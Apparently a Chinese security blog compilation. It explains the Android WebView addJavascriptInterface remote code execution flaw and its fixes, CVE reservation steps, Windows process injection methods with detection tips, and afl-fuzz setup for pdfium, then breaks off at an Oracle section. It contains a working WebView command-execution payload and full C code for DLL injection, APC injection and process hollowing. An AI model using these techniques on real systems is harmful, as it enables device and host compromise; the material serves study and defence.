Android WebView 漏洞

☆ 来自 developer.android.com 的信息

Android 官方网站对addJavascriptInterface的介绍如下:

1
2
3
4
5
6
7
8
9
10
11
12
public void addJavascriptInterface (Object object, String name)  Added in API level 1

Injects the supplied Java object into this WebView. The object is injected into
the JavaScript context of the main frame, using the supplied name. This allows
the Java object's methods to be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN_MR1 and above, only public methods that are
annotated with JavascriptInterface can be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN or below, all public methods (including the inherited ones)
can be accessed, see the important security note below for implications.

Note that injected objects will not appear in JavaScript until the page is next
(re)loaded. For example:
1
2
3
4
5
6
7
8
9

class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}

webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This method can be used to allow JavaScript to control the host application. 
This is a powerful feature, but also presents a security risk for apps targeting
JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still
vulnerable if the app runs on a device running Android earlier than 4.2. The
most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the
method is called only when running on Android 4.2 or later. With these older
versions, JavaScript could use reflection to access an injected object's public
fields. Use of this method in a WebView containing untrusted content could allow
an attacker to manipulate the host application in unintended ways, executing
Java code with the permissions of the host application. Use extreme care when
using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this
WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.
For applications targeted to API level LOLLIPOP and above, methods of injected
Java objects are enumerable from JavaScript. Parameters object the Java object
to inject into this WebView's JavaScript context. Null values are ignored.
name the name used to expose the object in JavaScript

之所以提供addJavascriptInterface是为了WebView中的Javascript可以和本地的App
通讯,这确实是一个很强大的功能,这么做的好处在于本地App逻辑不变的情况下,不
需要升级App就可以对程序进行更新,修改相应的Web页面就可以了。

☆ 相关知识

WebView的使用方法

在layout中定义 , 在Activity的onCreate中加入下面的代码

1
2
3
WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("http://slashdot.org/");

Java Reflection

反射是java语言提供的一种机制,使Java程序可以在运行时检查类、接口、方法和成员,
而不需要在编译的时候知道类的名字和方法等细节信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

package Reflect;
import java.lang.reflect.Method;

class Demo {

public void a1() {
}

public void a2() {
}

}

class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {

Class c = mObjectClass.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
Object obj = m.invoke(null, null);

Class c2 = obj.getClass();
String[] array = {"/bin/sh", "-c", "id > /tmp/id"};
Method n = c2.getMethod("exec", array.getClass());
n.invoke(obj, new Object[]{array});

} catch (Throwable e) {
System.out.println(e.toString());
}
}

}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a2
method = a1
method = wait
method = wait
method = wait
method = equals
method = toString
method = hashCode
method = getClass
method = notify
method = notifyAll

命令执行成功。

通过reflection 访问private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

package Reflect;

import java.lang.reflect.Method;

class Demo {

private void a1() {
System.out.println("I am a1");
}

public void a2() {
System.out.println("I am a2");
}

}


class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getDeclaredMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {
Object o = mObjectClass.newInstance();
methods[0].setAccessible(true);
methods[0].invoke(o);
} catch (Throwable e) {
}
}

}

运行结果:

1
2
3
4
5
6
7
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a1
method = a2
I am a1

已经成功调用了Demo的private a1 方法

☆ 相关漏洞

CVE-2013-4710

Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank设备上的Android 3.0至4.1.x版
本中存在安全漏洞,该漏洞源于程序没有正确实现WebView类。远程攻击者可借助特制的网
页利用该漏洞执行任意Java对象的方法或造成拒绝服务(重启)

CVE-2012-6636 (关键的CVE)

该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可
通过使用Java Reflection 利用该漏洞执行任意Java对象的方法。影响使用 API Level 16
以及之前的Android 系统。(Android 4.2 为 API Level 17)

CVE-2014-1939 searchBoxJavaBridge_ in Android Jelly Bean

此漏洞公布了一个可利用的Java Object “searchBoxJavaBridge_”

CVE-2014-7224

根据 android/webkit/AccessibilityInjector.java 代码中的介绍,发现当系统辅助
功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,
分别为是”accessibility” 和 “accessibilityTraversal”。如果APP使用了系统的WebView
并且设置了setJavaScriptEnabled(),那么恶意攻击者就可以使用”accessibility” 和
“accessibilityTraversal” 这两个Java Bridge来执行远程攻击代码

分析

这些CVE中最核心的是CVE-2012-6636, 出现的问题是接口定义问题。是非常经典的
do a 变成 do b 的例子,后面的修复方法也是保证了do a 就是 do a。

☆ 漏洞检测

使用WebView访问下面页面,输出的接口名称则存在漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView漏洞检测</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
<b>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>
</p>
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br />');
}catch(e){
}
}
} catch(e) {
}
}
}
check();
</script>
</body>
</html>

现代浏览器都实现基本一致的BOM,使得JavaScript和浏览器进行消息传递。
是否有getClass的方法,可以作为检测WebView漏洞依据。

在Android 4.1.1 原生系统上测试,在默认配置下,存在 searchBoxJavaBridge_
可以利用,CVE-2014-7224上的两个接口,并没有成功暴露。看了源代码后发现必须
打开Accessibility 设置中的Enhance Web accessibility 才会暴露这个两个接口,
因此CVE-2014-7224的影响并不像想象中的那么大。

☆ 漏洞利用的方法

1
2
3
4
5
6
7
<script>
function execute(cmd){
return
window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

jsinterface是导出的Java对象, 测试成功,权限是app 的用户权限。

☆ 修复方法和现状

Google宣布不为小于Android 4.4 的系统提供WebView补丁, 具体可以参见链接:

https://community.rapid7.com/community/metasploit/blog/2015/01/11/google-no-longer-provides-patches-for-webview-jelly-bean-and-prior

要解决WebView的RCE漏洞,比较靠谱的方法是升级Android系统,至少要升级到
API level 17 (Android 4.2), WebView 除了最严重的RCE漏洞,还有各种SOP漏洞,所
以至少要升级到Android 4.4才能保证安全,小于Android 4.4 Google不提供补丁。
Android 4.4 以后使用以chrome为基础的WebView。

升级系统API level 17后,只有显示添加 @JavascriptInterface的方法才能被JavaScript
调用,这样反射就失去作用了。

1
2
3
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
removeJavascriptInterface("searchBoxJavaBridge_");

☆ 参考链接

☆ 思考

WebView 中还提供了一个方法让我们可以获得控制的机会

1
2
3
4
5
6
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.substring(0,6).equalsIgnoreCase("yourscheme:")) {
// parse the URL object and execute functions
}
}

如果使用上面的代码,在网页的javascript中添加下面的代码,就可以进入后面的解析
URL流程,如果后续代码没有进行严格的检查可能会有一些其他的安全问题。

1
window.location = yourscheme://method?parameter=value

Google对这个方法的解释如下:

1
2
3
4
5
6
7
Give the host application a chance to take over the control when a new url 
is about to be loaded in the current WebView. If WebViewClient is not
provided, by default WebView will ask Activity Manager to choose the proper
handler for the url. If WebViewClient is provided, return true means the
host application handles the url, while return false means the current
WebView handles the url. This method is not called for requests using
the POST "method".

其实就是当WebView加载新的URL时给App程序一个控制的机会,这还是有一些想象空间的。

How to request a RESERVED CVE

在申请 CVE 过程中会遇到一个问题,向软件官方提交漏洞修复后,由于软件官方不是CNA 无法直接分配CVE,而申请CVE 通常需要一个软件官方确认的链接,而有些比较正规的软件在漏洞修复之前是不会有公开链接的,这就无法申请CVE了。

有点鸡生蛋,蛋生鸡的感觉。解决这个问题的办法是申请一个 RESERVED CVE。

申请 RESERVED CVE 方法

申请 RESERVED CVE,也是需要填写的CVE 申请表格的 https://cveform.mitre.org/,选择 Request CVE ID

根据提示的重要信息:

1
2
3
4
5
IMPORTANT: Once a CVE ID is assigned to your vulnerability, it will not be published 
in the CVE List until you have submitted a URL pointing to public information about
the vulnerability. Without a public reference, the CVE ID will display as "RESERVED"
in the CVE List. Please update CVE with a reference to the vulnerability's
details as soon as possible. See this FAQ for more information.

只要将 public reference 留空,就可以申请 RESERVED CVE 了。CVE 官方收到请求后会有确认的邮件。

CVE 官方分配 CVE ID

CVE 官方收到 RESERVED CVE 请求后,会给分配一个 CVE ID,但是状态为 ** RESERVED ** ,不会有公开细节。

RESERVED CVE 申请公开

当软件官方确认已经修复漏洞,并且发布新版后,可以通知 CVE 官方更新 CVE 的状态。还是通过填写 https://cveform.mitre.org/ 表格,选择 Notify CVE about a publication,填写相关信息。

一些注意事项

  1. cve-request@mitre.orgcve@mitre.org 加入邮件白名单 (有可能邮件会被截拦)
  2. 在申请公开步骤中,CVE 官方有可能和你要公开披露的链接,如果软件官方不给写,可以自己写一个

披露要求的信息:

1
2
3
4
5
[CVE ID]
[PRODUCT]
[VERSION]
[PROBLEM TYPE]
[DESCRIPTION]

Windows 进程注入

1. Process Injection 方法总结

进程注入是windows病毒和恶意软件最常用的手法之一,Windows下进程注入的方法比较
多,这里介绍常见的一些方法,以及相应的检查手段。

1.1 SetWindowsHookEx

SetWindowsHookEx估计是大家最熟悉的方法了,这个是微软提供给我们使用正规用法。
往Windows的hook chain中安装hook 例程,监控系统某种类型的event, 使用这种方法需要
实现一个dll。

1
2
3
4
5
6
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
  • dwThread 为0,将监管系统中所有线程。
  • idHook 指定监控event的类型
  • hMod dll句柄
  • lpfn hook例程的指针

MSDN给出了一个使用的例子:

1
2
3
4
5
6
7
8
9
10
11
12
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;

hinstDLL = LoadLibrary(TEXT("c:\\myapp\\sysmsg.dll"));
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc");

hhookSysMsg = SetWindowsHookEx(
WH_SYSMSGFILTER,
hkprcSysMsg,
hinstDLL,
0);

值得一提的是这个API只能监控GUI程序,console的程序是监控不了。当年使用的时候还吃
了亏。

1.2 lpk.dll

这是一种比较常见的方法,一般把这种方法称为 dll 劫持 (dll hijack),lpk.dll默认
的位置在,如果在其他的路径发现lpk.dll就需要需要注意了。

这种方法需要实现和原始的lpk.dll一样导出函数,每个函数都转向调用真正的lpk.dll
中的导出函数,这样对于程序来说是完全感觉不到什么异常变化的,但是却被伪造的lpk.dll
过了一道,所以称为为劫持。

这里有二个问题,值得思考。

如何能让程序加载我们的lpk.dll而不是系统真正的dll

如果知道Windows查找dll的顺序,就很容易解决这个问题了,微软的MSDN网站很贴心地
回答了我们的问题。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

1
2
3
4
5
6
7
8
9
a. The directory from which the application loaded.
b. The current directory.
c. The system directory. Use the GetSystemDirectory function to get the path of this directory.
d. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
e. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
f. The directories that are listed in the PATH environment variable. Note that
this does not include the per-application path specified by the App
Paths registry key. The App Paths key is not used when computing the DLL
search path.

因此把lpk.dll放到运行的程序同一目录即可。

为什么选取lpk.dll

Windows 7 开始,默认已经不加载LPK.dll了,要Windows 7 默认加载LPK.dll
需要修改注册表,导入下面的注册表, 重启后生效

1
2
3
4
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"ExcludeFromKnownDlls"=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,00,00

1.3 CreateRemoteThread

CreateRemoteThread应该是非常常用的进程注入方法了,有两种常见的使用方法。API
原型如下:

1
2
3
4
5
6
7
8
9
 HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
  • hProcess 要注入的进程的句柄
  • lpStartAddress 远程进程中执行的函数的地址(指针)
  • lpParameter 远程进程中执行的函数的参数的地址 (指针)

实现个DLL

第一种方法同样是跨进程调用LoadLibrary加载指定的DLL,我们自己实现一个DLL,就可以为所欲为了,呵呵。

从API原型中可以看出,需要把数据写入远程的进程,Windows系统提供了WriteProcssMemory
来干这个事,但是如何能够保证我们往远程进程写的地址是可写的呢?

答案是无法保证。。。所以比较稳妥的方法是我们自己在远程进程中申请一块可写的内
存,然后把我们的数据写到远程进程中去。

在远程进程中申请内存也有相应的API VirtualAllocEx, 把前前后后都串起来就可以远
程注入DLL了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (process == NULL) {
printf("Error: the specified process couldn't be found.\n");
}

/*
* Get address of the LoadLibrary function.
*/
LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (addr == NULL) {
printf("Error: the LoadLibraryA function was not found inside kernel32.dll library.\n");
}

/*
* Allocate new memory region inside the process's address space.
*/
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (arg == NULL) {
printf("Error: the memory could not be allocated inside the chosen process.\n");
}

/*
* Write the argument to LoadLibraryA to the process's newly allocated memory region.
*/
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
if (n == 0) {
printf("Error: there was no bytes written to the process's address space.\n");
}

/*
* Inject our DLL into the process's address space.
*/
HANDLE threadID = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
if (threadID == NULL) {
printf("Error: the remote thread could not be created.\n");
}
else {
printf("Success: the remote thread was successfully created.\n");
}

/*
* Close the handle to the process, becuase we've already injected the DLL.
*/
CloseHandle(process);

前面的代码示例代码,看起来很正常,基本上CreateRemoteThread的例子都是这么写的
但是如果如何看的仔细,还是会发现一个问题,不是说lpStartAddress必须是远程进程中
的地址吗,可是LoadLibraryA的地址是注入进程的地址不是远程进程中的地址。

很多文章在这里都没有说透,但是牛书《Windows核心编程》对此有着详细的说明。根据
经验Windows系统总是把Kernel32.dll映射到进程的相同地址,Windows开启ASLR后,重启后
进程中Kernel32.dll的地址会发生变化,但是每个进程中Kernel32.dll的地址仍然相同!
所以我们可以在远程的进程使用本地进程的内存中的LoadLibraryA的地址。

写远程进程内存

第二种方法是直接远程注入代码,不注入DLL,其实并不一定要调用CreateRemoteThread
还有好几种替代方法,

  1. CreateRemoteThread最终会调用NtCreateThreadEx Native API,可以直接调用这个
    Native API来启动远程的线程。
  2. RtlCreateUserThread

1.4 AppInit_DLLs

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这个键值被《Windows核心编程》介绍而格外出名,可执行文件在处理User32.dll的
DLL_PROCESS_ATTACH 时,会使用LoadLibirary加载AppInit_DLLS, 不链接User32.dll的程
序将不会加载AppInit_DLLS, 很少程序不需要链接User32.dll

新版本的Windows增加了几个关键的键值,会对DLL的注入有影响。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

  • REG_DWORD 1 表示全局开启
  • REG_DWORD 0 表示全局关闭

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\RequireSignedAppInit_DLLs

  • REG_DWORD 0 加载任意DLL
  • REG_DWORD 1 只加载签名的DLL

1.5 QueueUserApc

QueueUserApc API 原型如下:

DWORD WINAPI QueueUserAPC(
In PAPCFUNC pfnAPC, // APC function
In HANDLE hThread, // handle of thread
In ULONG_PTR dwData // APc function parameter
);

这个注入方法用的不多,但是也是老方法了,pjf在2007年《暴力注入explorer》的文章里
就提到了这种方法。作用是在线程的Apc队列插入一个用户模式下的APC 对象。

APC 是 asynchronous procedure call 的缩写,每个线程都有自己的APC队列,在线程APC
队列中的APC对象的函数将被线程执行,但是用户模式下的APC对象里的函数并不一定会马上
执行(所以是异步的),除非线程是alertable状态。当线程是alertable状态是,APC队列
里的Apc对象,按照FIFO的顺序进行处理,执行APC函数。线程调用 SleepEx,
SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx 或者
MsgWaitForMultipleObjectsEx时线程进入alertable状态。

所以为了我们的函数能够尽快的执行,我们必须在目标进程所有的线程的APC队列中插入
APC 对象,基本上总有一个线程是alertable状态。

核心伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD ret;
char *DllName = 'c:\\MyDll.dll';
int len = strlen(DllName) + 1;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PVOID param = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE);

if (param != NULL) {
if (WriteProcessMemory(hProcess, param, (LPVOID)DllName, len, &ret)) {
for (DWORD p = 0; p < NumberOfThreads; p ++) {
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0) {
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) {
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle('kernel32.dll', 'LoadLibraryA', hThread, (DWORD)param);
}

1.6 ZwMapViewOfSection

这是最近出现的比较新的进程注入方法,在2014年左右有样本开始使用这种方法注入进程。
这种技术的本质是进程替换,使用合法的正常进程,执行的确是恶意的代码。

基本步骤如下:

  1. 使用CREATE_SUSPENDED调用CreateProcessW创建进程
  2. 使用ZwUnmapViewOfSection卸载进程空间中的原始代码
  3. 使用VirtualAllocEx分配内存,确保分配区域可写可执行
  4. 使用WriteProcessMemory在分配区域内写入恶意代码
  5. 使用SetThreadContext设置线程内容为指定的恶意代码
  6. 使用ResumeThread回复进程执行

代码中用到PEB的结构:

1
2
3
4
5
6
7
>dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize; //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);

hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;
::ReadFile( hFile
, pBuf
, dwFileSize
, &dwNumberOfBytesRead
, NULL
);

::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//检查PE结构
//以挂起方式进程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果调用失败
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡进程内存模块
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替换傀儡进程内存数据
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 头 + PE 头 + 区块表的总大小
//定位到区块头
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各个区块
::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 执行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase, //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile);
delete[] pBuf;
return TRUE;
}

2. 检测方法

  1. 注册表相关注入继续可以通过Hook写注册表相关API实现监控
  2. SetWindowsHookEx则需要检查最后一个参数是否为0,为0表示全局注入,这是我们
    关注的地方。但是输入法之类的正常程序也可能使用注入技术。
  3. CreateRemoteThread进程注入比较复杂,核心要点是要有跨进程写入数据的动作,
    后续从两个维度来进行检查

2.1 检查跨进程写入的数据

虽然WriteProcessMemory的底层API经常被Windows底层用作数据传递,但是通过
特征可以识别出来

  1. 写入的数据是PE文件
  2. 写入的数据里包含.dll (一般是DLL文件名,或者是导入表相关数据)
  3. 写入超长数据

2.2 检查线程代码执行部分地址

检查代码地址是否在WriteProcessMemory写入的数据区域之内

参考链接

使用 afl-fuzz fuzz pdfium

下载源码

先在 https://pdfium.googlesource.com/pdfium/ 下载源码.

1
2
3
4
5
mkdir repo
cd repo
gclient config --unmanaged https://pdfium.googlesource.com/pdfium.git
gclient sync
cd pdfium

gclient 命令在 depot_tools 中, 需要安装 参考下面的文章

http://www.chromium.org/developers/how-tos/install-depot-tools

1
2
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"

主要gclient sync 同步时需要翻墙,可以简单的使用环境变量的方法。

https_proxy=http://localhost:8118 gclient sync 下载 download google storage过
程中还会遇到一个网络问题,需要编写配置文件 ~/.boto

1
2
3
[Boto]
proxy = 127.0.0.1 # 不带 http://
proxy_port= 8118

export NO_AUTH_BOTO_CONFIG=~/.boto

源码包非常大,大概有1G多,需要耐心等待。

编译

编译需要使用 ubuntu 或者 Debian 系统,其他系统的依赖问题解决起来比较麻烦,
如果是上面两种操作系统的话,有脚本自动安装依赖。

./build/install-build-deps.sh

安装完所以依赖后就可以开始编译了,首先要先生成 gn 文件 (2016 年google 放弃使用原来的 gyp 编译方式)

gn args out/afl 会调用vim 编译器, 输入下面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.
use_goma = false # Googlers only. Make sure goma is installed and running first.
is_debug = false # Enable debugging features.

pdf_use_skia = true # Set true to enable experimental skia backend.
pdf_use_skia_paths = false # Set true to enable experimental skia backend (paths only).

pdf_enable_xfa = true # Set false to remove XFA support (implies JS support).
pdf_enable_v8 = true # Set false to remove Javascript support.
pdf_is_standalone = true # Set for a non-embedded build.
is_component_build = false # Disable component build (must be false)
v8_static_library = true

clang_use_chrome_plugins = false # Currently must be false.
use_sysroot = false # Currently must be false on Linux, but entirely omitted on windows.

use_afl = true
#is_asan = true
enable_nacl = true
optimize_for_fuzzing = true
symbol_level=1

使用 ASAN 编译会报错,暂时不开启,接下来要解决 afl 的问题了, pdfium 的 third_party
中不包含 afl-fuzz 的源代码,需要到 chromium.googlesource.com 项目下载。
chromium 项目支持 libfuzzer 和 afl-fuzz,只要使用开关, use_libfuzzer = true
或者 use_afl = true 即可打开。

要编译生成 pdfium_test, 必须指定 pdf_is_standalone = true, pdfium 源码仓库中没有
afl-fuzz 的代码,需要自己下载。

https://chromium.googlesource.com/chromium/src/third_party/+/master/afl/

可以直接下载 .tgz 文件
https://chromium.googlesource.com/chromium/src/third_party/+archive/master/afl.tar.gz

下载后将源码 copy 到 ~/repo/pdfium/third_party/afl 中, 使用 ninja -C out/afl 编译整个项目。

使用 is_debug=false 可以明显提高fuzzing 速度,应该开启。另外一个比较有用的是
symbol_level, 设置 symbol_level=1 可以添加必要的调试符号,便于gdb调试。

在编译 skia backend 支持时,需要额外处理, 使用 C++14

1
use_cxx11 = false 

afl-fuzz

随着 chromium 代码的更新, afl 源码编译出现了一些小问题,需要处理。

src/third_party/afl/patches/0001-fix-build-with-std-c11.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
diff --git a/afl-fuzz.c b/afl-fuzz.c
index 01b4afef0ecc..f0d564a33037 100644
--- a/afl-fuzz.c
+++ b/afl-fuzz.c
@@ -23,7 +23,9 @@
#define AFL_MAIN
#define MESSAGES_TO_STDOUT

+#ifndef _GNU_SOURCE
#define _GNU_SOURCE
+#endif
#define _FILE_OFFSET_BITS 64

#include "config.h"
diff --git a/types.h b/types.h
index 784d3a7a286d..d24d1fdd97e8 100644
--- a/types.h
+++ b/types.h
@@ -78,7 +78,7 @@ typedef int64_t s64;
#define STRINGIFY(x) STRINGIFY_INTERNAL(x)

#define MEM_BARRIER() \
- asm volatile("" ::: "memory")
+ __asm__ volatile("" ::: "memory")

#define likely(_x) __builtin_expect(!!(_x), 1)
#define unlikely(_x) __builtin_expect(!!(_x), 0)

afl-fuzz 的使用和其他项目一样。初始的种子文件有几个地方可以获取:

./afl-fuzz -M 01 -m 1024 -i /home/henices/input -o /home/henices/out -x /tmp/pdf.dict -- ./pdfium_test @@

参考资料

Execute os command in Oracle Database

1. 正统方法

1.1 使用JAVA

1.1.1 代码

Oracle 数据库都支持Java,可以利用java来实现我们需要的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
